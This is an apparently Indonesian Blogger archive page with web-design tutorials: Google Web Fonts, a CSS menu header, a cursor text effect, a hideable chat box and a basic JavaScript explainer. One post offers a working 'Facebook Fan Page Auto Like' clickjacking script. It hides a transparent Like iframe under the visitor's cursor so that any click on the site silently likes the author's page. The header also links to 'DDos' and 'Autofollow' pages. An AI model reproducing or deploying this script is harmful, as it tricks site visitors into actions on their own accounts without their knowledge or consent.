Showing posts with label Blog. Show all posts
Showing posts with label Blog. Show all posts

Cara Merubah Font Family Blog Menggunakan Google Web Fonts

Google Web Font


sue gak update aku cok :D
Kali ini arkaduc akan share cara mengganti font di blogger dengan Google Web Fonts. Langsung aja...

1. Masuk ke Google Web Fonts
2. Cari font yang kamu sukai, lalu klik "Quick-Use"
3. Setelah itu kamu akan menemukan script seperti ini (Contoh)

<link href='http://fonts.googleapis.com/css?family=Devonshire' rel='stylesheet' type='text/css'>
4. Buka tab baru di browser-mu, lalu copy paste link yang ada discript tsb.

http://fonts.googleapis.com/css?family=Devonshire
Seperti di atas.
5. Masuk ke Blogger, lalu ke Edit HTML. Cari Kode </head> (untuk mempermudah pencarian tekan CTRL+F)
6. Masukan script yang ada di link font tsb. di atas kode  </head>
7. Jeng-jeng..., jadi deh, tinggal save. Tinggal ganti fontnya aja jadi seperti ini
Font-family:'Devonshire' (contoh).

NB : Jika script tidak bisa di save jangan panik... solusinya ialah menambahkan / sebelum tanda >
        hasilnya nanti seperti ini :
<link href='http://fonts.googleapis.com/css?family=Devonshire' rel='stylesheet' type='text/css'/>
Facebook Fan Page Auto Like Script [HTML]

Facebook Fan Page Auto Like Script [HTML]

Facebook Fan Page Auto Like Script [HTML]
What is this and how it works:
This is an script which needs to be put in your html page in order to work.
When someone click anywhere on your site he will automatically like your page,no need to put like button!
When clicked again can't unlike.
Code [1] goes in <head> to load first:
<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
        $(function()
{
    interval=setInterval("updateActiveElement();", 50);
});

function updateActiveElement()
{
    if ( $(document.activeElement).attr('id')=="fbframe" )
    {
        clearInterval(interval);
        iflag=1;
    }   
}
</script>

Code [2] goes anywhere in html:
HTML Code: kalau saya saya taruh di atas kode </body>

<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
         <iframe src="http://www.facebook.com/plugins/like.php?href=YOUR_URL[/COLOR]&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
       
      <!--end facebook like frame code-->

    </div>
   
   
      <script>
    var iflag = 0;
    var icontainer = document.getElementById('icontainer');   
    var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
   
   
   
    function mouseFollower(e){
        /*                    DO NOT EDIT THIS                         */
    if (window.event)
    { // for IE
        icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
        icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
    }
    else
    {
        icontainer.style.top = (e.pageY-5)+'px';
        icontainer.style.left = (e.pageX-5)+'px';
    }

    }
    document.onmousemove = function(e) {
        if (iflag == 0) {mouseFollower(e);}
    }

    </script>

Where to put my URL Fanpage? Find "YOUR_URL" in Code [2] and here put your URL Fanpage. If you have any question , please reply. If you dont have any question,rep plus thanks .
Jsa (Jejaring Sosial Arkaduc)

Jsa (Jejaring Sosial Arkaduc)

jejaring sosial baru yang ramai bisa juga di buat curhat dll/dkk

http://arkaduc.com/jsa/
jsa sendiri kepanjangan dari (jejaring sosial arkaduc)

dan jsa ini di buat pada tanggal 29mei


http://arkaduc.com/jsa/

http://arkaduc.com/jsa/

http://arkaduc.com/jsa/

http://arkaduc.com/jsa/

 http://arkaduc.com/jsa/

atau bisa kunjungi http://arkaduc.com/ pilih jejaring sosial arkaduc
Cara Membuat Header Keren Html

Cara Membuat Header Keren Html

copy css ini dan taruh di bawah head

 <style type="text/css">

body {
    font-size: 12px;
    color:black;
}
a:link {color: red; text-decoration: none; }
a:active {color: red; text-decoration: none; }
a:visited {color: red; text-decoration: none; }
a:hover {color: red; text-decoration: none; }
 


 .bilah-menu-atas {
  width: 100%;
  min-width: 960px;
  position: fixed;
  top: 0px;
  left: 0px;
  right: 0px;
  height: 27px;
  font-size: 13px;
  z-index: 99;
  white-space: nowrap;
  background-color: #336699;
  background-image: -moz-linear-gradient(center top , rgb(20, 132, 206) 0%, #336699 100%);
  box-shadow: 0px 2px 0px rgb(14, 90, 140);
  border-bottom: 1px solid rgba(255, 255, 255, 0.1);
}

.kolom-utama {
  -moz-transition: all 0.2s linear 0s;
  width: 960px;
  height: auto;
  margin: 0px auto;
}

.kolom-menu {
  width: 521px;
  height: auto;
  margin: 0px 0px 0px -41px;
  float: left;
  display: inline;
}

.kolom-menu ul {
  height: auto;
  margin-top: 0px;
}

.kolom-menu ul li {
  float: left;
  position: relative;
  list-style: none outside none;
}

.kolom-menu ul li:first-child {
  border-left: 1px solid rgba(30, 30, 30, 0.125);
}

.kolom-menu ul li a {
  color: #ffffff;
  font-weight: bold;
  text-shadow: -1px -1px rgba(0, 0, 0, 0.2);
  text-decoration: none;
  display: inline-block;
  padding-top: 5px;
  padding-right: 10px;
  padding-bottom: 5px;
  padding-left: 10px;
  position: relative;
  border-right: 1px solid rgba(30, 30, 30, 0.125);
  box-shadow: 1px 0px 0px rgba(255, 255, 255, 0.1);
}

.kolom-menu ul li a:hover, .kolom-menu ul li a:focus {
  background-color: rgba(255, 255, 255, 0.125);
}



 </style>


Kemudian Taruh Ini Di Sembarang Tempat

<div class='bilah-menu-atas' id='bilahmenuatas'>
  <div class='kolom-utama'>
    <div class='kolom-menu'>
      <ul>
        <li><a href=''><img alt='L3' height='15px' src='http://arkaduc.com/Beranda.png' width='20px'/></a></li>
        <li><a href='http://facebook.com/arkaduc'>Facebook</a></li>
        <li><a href='http://twitter.com/hacker_desainer'>Twitter</a></li>
      </ul>
    </div>
    <div class='kolom-menu'>
      <ul style='float: right'>
          <li><a href='http://arkaduc2.blogspot.com'>My Blog</a></li>
        <li><a href='http://arkaduc.com/ddos'>DDos</a></li>
<li><a href='http://arkaduc.com/autofollow'>Autofollow</a></li>
      </ul>
    </div>
  </div>
</div>


dan ubah sesuai selera anda


cara membuat efek text mengelilingi cursor di blog

cara membuat efek text mengelilingi cursor di blog

1.Log in ke BLOG kak
2.Klik Rancangan
3.Tambah widget
4.tmbah HTML
5.isi scriptnya


<style type='text/css'>
#outerCircleText {
font-style: italic;
font-weight: bold;
font-family: 'comic sans ms', verdana, arial;
color: #FF8000;
position: absolute;top: 0;left: 0;z-index: 2500;cursor: default;}
#outerCircleText div {position: relative;}
#outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
</style>

<script type='text/javascript'>
//<![CDATA[
;(function(){
// Your message here (QUOTED STRING)
var msg = "GANTI AMA TEKS YANG KAKAK INGINKAN :*";
/* THE REST OF THE EDITABLE VALUES BELOW ARE ALL UNQUOTED NUMBERS */
// Set font's style size for calculating dimensions
// Set to number of desired pixels font size (decimal and negative numbers not allowed)
var size =20;
// Set both to 1 for plain circle, set one of them to 2 for oval
// Other numbers & decimals can have interesting effects, keep these low (0 to 3)
var circleY = 0.75; var circleX = 2;
// The larger this divisor, the smaller the spaces between letters
// (decimals allowed, not negative numbers)
var letter_spacing = 5;
// The larger this multiplier, the bigger the circle/oval
// (decimals allowed, not negative numbers, some rounding is applied)
var diameter = 10;
// Rotation speed, set it negative if you want it to spin clockwise (decimals allowed)
var rotation = 0.4;
// This is not the rotation speed, its the reaction speed, keep low!
// Set this to 1 or a decimal less than one (decimals allowed, not negative numbers)
var speed = 0.3;
////////////////////// Stop Editing //////////////////////
if (!window.addEventListener && !window.attachEvent || !document.createElement) return;
msg = msg.split('');
var n = msg.length - 1, a = Math.round(size * diameter * 0.208333), currStep = 20,
ymouse = a * circleY + 20, xmouse = a * circleX + 20, y = [], x = [], Y = [], X = [],
o = document.createElement('div'), oi = document.createElement('div'),
b = document.compatMode && document.compatMode != "BackCompat"? document.documentElement
:
document.body,
mouse = function(e){
e = e || window.event;
ymouse = !isNaN(e.pageY)? e.pageY : e.clientY; // y-position
xmouse = !isNaN(e.pageX)? e.pageX : e.clientX; // x-position
},
makecircle = function(){ // rotation/positioning
if(init.nopy){
o.style.top = (b || document.body).scrollTop + 'px';
o.style.left = (b || document.body).scrollLeft + 'px';
};
currStep -= rotation;
for (var d, i = n; i > -1; --i){ // makes the circle
d = document.getElementById('iemsg' + i).style;
d.top = Math.round(y[i] + a * Math.sin((currStep + i) / letter_spacing) * circleY - 15) +
'px';
d.left = Math.round(x[i] + a * Math.cos((currStep + i) / letter_spacing) * circleX) + 'px';
};
},
drag = function(){ // makes the resistance
y[0] = Y[0] += (ymouse - Y[0]) * speed;
x[0] = X[0] += (xmouse - 20 - X[0]) * speed;
for (var i = n; i > 0; --i){
y[i] = Y[i] += (y[i-1] - Y[i]) * speed;
x[i] = X[i] += (x[i-1] - X[i]) * speed;
};
makecircle();
},
init = function(){ // appends message divs, & sets initial values for positioning arrays
if(!isNaN(window.pageYOffset)){
ymouse += window.pageYOffset;
xmouse += window.pageXOffset;
} else init.nopy = true;
for (var d, i = n; i > -1; --i){
d = document.createElement('div'); d.id = 'iemsg' + i;
d.style.height = d.style.width = a + 'px';
d.appendChild(document.createTextNode(msg[i]));
oi.appendChild(d); y[i] = x[i] = Y[i] = X[i] = 0;
};
o.appendChild(oi); document.body.appendChild(o);
setInterval(drag, 25);
},
ascroll = function(){
ymouse += window.pageYOffset;
xmouse += window.pageXOffset;
window.removeEventListener('scroll', ascroll, false);
};
o.id = 'outerCircleText'; o.style.fontSize = size + 'px';
if (window.addEventListener){
window.addEventListener('load', init, false);
document.addEventListener('mouseover', mouse, false);
document.addEventListener('mousemove', mouse, false);
if (/Apple/.test(navigator.vendor))
window.addEventListener('scroll', ascroll, false);
}
else if (window.attachEvent){
window.attachEvent('onload', init);
document.attachEvent('onmousemove', mouse);
};
})();
//]]>

</script>


yang warna merah ganti dengan kata kata anda
Cara Dapetin Subdomain AHGAE

Cara Dapetin Subdomain AHGAE

yo yo yo
udah ane setting nih oms :*

sun duyu tapi kalo minta sub domain :v
kwowkowkwo

langsung berangkat ke blogger.com



klik gambar panah, terus klik setelan
klik tambahkan domain khusus
klik alihkan ke setelan lanjutan
Tulis namamu.ahgae.com
klik simpan
jadi deh
ga ribet kan om?
 
Sumber : ahgae
Software Pembuat Html BY Blues Shadow

Software Pembuat Html BY Blues Shadow

Software pembuat html by saya
pertama copy scrip d bawah ini 


<Script Language='Javascript'>
<!-- Encryption By Blues Shadow -->
<!--
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%20%50%55%42%4C%49%43%20%22%2D%2F%2F%57%33%43%2F%2F%44%54%44%20%58%48%54%4D%4C%20%31%2E%30%20%54%72%61%6E%73%69%74%69%6F%6E%61%6C%2F%2F%45%4E%22%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E%77%33%2E%6F%72%67%2F%54%52%2F%78%68%74%6D%6C%31%2F%44%54%44%2F%78%68%74%6D%6C%31%2D%74%72%61%6E%73%69%74%69%6F%6E%61%6C%2E%64%74%64%22%3E%0A%0A%20%20%3C%68%74%6D%6C%20%78%6D%6C%6E%73%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%77%33%2E%6F%72%67%2F%31%39%39%39%2F%78%68%74%6D%6C%22%3E%0A%0A%20%20%3C%68%65%61%64%3E%0A%0A%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%69%73%6F%2D%38%38%35%39%2D%31%22%20%2F%3E%0A%0A%20%20%3C%74%69%74%6C%65%3E%48%54%4D%4C%20%45%64%69%74%6F%72%20%42%79%20%44%69%6B%68%61%3C%2F%74%69%74%6C%65%3E%0A%0A%20%20%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%0A%0A%20%20%3C%21%2D%2D%0A%0A%20%20%23%4C%61%79%65%72%31%20%7B%0A%0A%20%20%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%0A%0A%20%20%77%69%64%74%68%3A%31%34%37%70%78%3B%0A%0A%20%20%68%65%69%67%68%74%3A%31%33%30%70%78%3B%0A%0A%20%20%7A%2D%69%6E%64%65%78%3A%31%3B%0A%0A%20%20%6F%76%65%72%66%6C%6F%77%3A%61%75%74%6F%3B%0A%0A%20%20%6C%65%66%74%3A%20%31%38%70%78%3B%0A%0A%20%20%74%6F%70%3A%20%32%30%39%70%78%3B%0A%0A%20%20%7D%0A%0A%20%20%2D%2D%3E%0A%0A%20%20%3C%2F%73%74%79%6C%65%3E%0A%0A%20%20%3C%2F%68%65%61%64%3E%0A%0A%3C%62%6F%64%79%3E%0A%0A%20%20%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%0A%66%75%6E%63%74%69%6F%6E%20%70%61%73%61%6E%67%28%29%7B%0A%0A%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%68%61%73%69%6C%27%29%2E%69%6E%6E%65%72%48%54%4D%4C%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%74%75%6C%69%73%27%29%2E%76%61%6C%75%65%3B%0A%0A%7D%0A%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A%20%20%3C%64%69%76%20%69%64%3D%22%68%61%73%69%6C%22%20%73%74%79%6C%65%3D%22%77%69%64%74%68%3A%31%33%30%30%70%78%3B%20%68%65%69%67%68%74%3A%35%30%30%70%78%3B%20%6F%76%65%72%66%6C%6F%77%3A%73%63%72%6F%6C%6C%3B%22%3E%50%72%65%76%69%65%77%20%48%61%73%69%6C%20%4B%6F%64%69%6E%67%61%6E%20%3C%2F%64%69%76%3E%0A%0A%20%20%3C%70%3E%26%6E%62%73%70%3B%3C%2F%70%3E%0A%0A%20%20%3C%70%20%61%6C%69%67%6E%3D%22%63%65%6E%74%65%72%22%3E%0A%0A%20%20%3C%74%65%78%74%61%72%65%61%20%6E%61%6D%65%3D%22%74%75%6C%69%73%22%20%63%6F%6C%73%3D%22%31%35%30%22%20%72%6F%77%73%3D%22%35%22%20%69%64%3D%22%74%75%6C%69%73%22%3E%3C%2F%74%65%78%74%61%72%65%61%3E%0A%0A%20%20%3C%2F%70%3E%0A%0A%20%20%3C%70%3E%0A%0A%20%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%73%75%62%6D%69%74%22%20%6E%61%6D%65%3D%22%53%75%62%6D%69%74%22%20%76%61%6C%75%65%3D%22%53%75%62%6D%69%74%22%20%6F%6E%63%6C%69%63%6B%3D%22%70%61%73%61%6E%67%28%29%22%20%2F%3E%0A%0A%20%20%3C%2F%70%3E%0A%0A%20%20%3C%70%3E%26%6E%62%73%70%3B%3C%2F%70%3E%0A%0A%20%20%3C%2F%62%6F%64%79%3E%0A%0A%20%20%3C%2F%68%74%6D%6C%3E'));
//-->
</Script>


jika sudah
kalian buka notepad lalu pastekan dan simpan dengan type .html


jangan luupa koment ya sayangg !!
Pengertian Java Script

Pengertian Java Script

JavaScript pertama kali dikembangkan oleh Brendan Eich dari Netscape dibawah nama Mocha, yang nantinya namanya diganti menjadi LiveScript, dan akhirnya menjadi JavaScript.
Navigator sebelumnya telah mendukung Java untuk lebih bisa dimanfaatkan para programmer yang non-Java. Maka dikembangkanlah bahasa pemrograman bernama LiveScript untuk mengakomodasi hal tersebut. Bahasa pemrograman inilah yang akhirnya berkembang dan diberi nama JavaScript, walaupun tidak ada hubungan bahasa antara Java dengan JavaScript.
JavaScript bisa digunakan untuk banyak tujuan, misalnya untuk membuat efek rollover baik di gambar maupun teks, dan yang penting juga adalah untuk membuat AJAX. JavaScript adalah bahasa yang digunakan untuk AJAX.

Penulisan JavaScript

Kode JavaScript biasanya dituliskan dalam bentuk fungsi yang ditaruh di tag <head> yang dibuka dengan tag <script type="teks/javascript">.
<script type="teks/javascript">
        alert("Halo Dunia!");
</script>
Kode JavaScript juga bisa diletakkan di file tersendiri yang berekstensi .js (singkatan dari JavaScript).Untuk memanggil kode JavaScript yang terdapat di file sendiri, di bagian awal <head> harus ditentukan dahulu nama file .js yang dimaksud menggunakan contoh kode seperti berikut:
<script type="teks/javascript" src="alamat.js">
</script>

Script pada bagian head

Script ini akan dieksekusi ketika dipanggil (biasanya berbentuk function) atau dipanggil berdasarkan trigger pada event tertentu. Peletakkan script di head akan menjamin skript di-load terlebih dahulu sebelum digunakan (dipanggil).
<html>
<head>
<script type="teks/javascript">
...
</script>
</head>
</html>

Script pada Body

Script ini dieksekusi ketika halaman di-load sampai di bagian <body>. Ketika menempatkan script pada bagian <body> berarti antara isi dan JavaScript dijadikan satu bagian.
<html>
<head>
</head>
<body>
<script type="teks/javascript">
...
</script>
</body>
</html>
Jumlah JavaScript di <head> dan <body> yang ditempatkan pada dokumen tidak terbatas.

External JavaScript

Terkadang ada yang menginginkan menjalankan JavaScript yang sama dalam beberapa kali pada halaman yang berbeda, tetapi tidak mau disibukkan jika harus menulis ulang script yang diinginkan di setiap halaman.Maka JavaScript dapat ditulis di file secara eksternal.Jadi, antara dokumen HTML dan JavaScript dipisahkan, kemudian berkas tersebut dipanggil dari dokument HTML.Berkas JavaScript tersebut disimpan dengan ekstensi .js.
JavaScript : js/xxx.js document.write("pesan ini tampil ketika halaman diload");
Untuk menggunakan eksternal JavaScript (.js) dipakai atribut "src" pada tag <script> pada halaman HTML-nya.
<html>
<head>
</head>
<body>
<script src="xxx.js">
</script>
<p>Script di atas berada di berkas "xx.js" (eksternal) </p>
</body>
</html>
Cara Menyembunyikan Chat Box

Cara Menyembunyikan Chat Box

Setelah Memberikan Cara membuat Chatbox (Buku Tamu) . Sekarang saya akan memberikan cara menyembunyikan Widget atau Chat Box (buku tamu) di kanan. Bagi blog yang tidak mempunyai banyak ruang di blognya, pasti cara ini sangat di perlukan, karena Widget-widget yang di tempel di blog hanya mengotori/Mengurangi space di blog. Langsung saja caranya sebagai berikut :

1. Login ke blogger terlebih dahulu.
2. Setelah itu Buka Rancangan - Elemen Laman.
3. Tambah Widget - Html/javascript
4. Copy paste Code berikut di sana

<style type="text/css">
#gb{
position:fixed;
top:50px;
z-index:+1000;
}
* html #gb{position:relative;}
.gbtab{
height:100px;
width:30px;
float:left;
cursor:pointer;
background:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqYmnRt1MzDi5Bssl8tsG1OqHZAr0dK511qmXm2ullyovssGJYLV1sgEMjdx75NItPd6Qe0mnek2ImfblUaioSiNfmRReH55bzRmyWpcuaHGQaXA0rHtYIer9_LuSztC-shzFu1maXdzU/s1600/cbred-LEFT+copyasasd.png') no-repeat;
}
.gbcontent{
float:left;
border:6px solid #de7300;
background:#F5F5F5;
padding:5px;
}
</style>
<script type="text/javascript">
function showHideGB(){
var gb = document.getElementById("gb");
var w = gb.offsetWidth;
gb.opened ? moveGB(0, 30-w) : moveGB(20-w, 0);
gb.opened = !gb.opened;
}
function moveGB(x0, xf){
var gb = document.getElementById("gb");
var dx = Math.abs(x0-xf) > 10 ? 5 : 1;
var dir = xf>x0 ? 1 : -1;
var x = x0 + dx * dir;
gb.style.right = x.toString() + "px";
if(x0!=xf){setTimeout("moveGB("+x+", "+xf+")", 10);}
}
</script>
<div id="gb">
<div class="gbtab" onclick="showHideGB()"> </div>
<div class="gbcontent">

Ganti Dengan Code Script Chat Box (Buku Tamu) Kamu



Get This <a href="http://arkaduc2.blogspot.com/2012/11/cara-menyembunyikan-chat-box.html">Gadget</a></div>
<div style="text-align: right;">
    <a href="javascript:showHideGB()">
    Close
    </a></div>

    </div>

    <script type="text/javascript">
    var gb = document.getElementById("gb");
    gb.style.right = (30-gb.offsetWidth).toString() + "px";
    </script>

5. Ganti tulisan yang berwarna Merah dengan script chat box kamu, jika belum memiliki chat box silahkan klik di sini

6. Lalu simpan.
Selamat Anda memiliki tampilan Chatbox baru.

Kategori

Kategori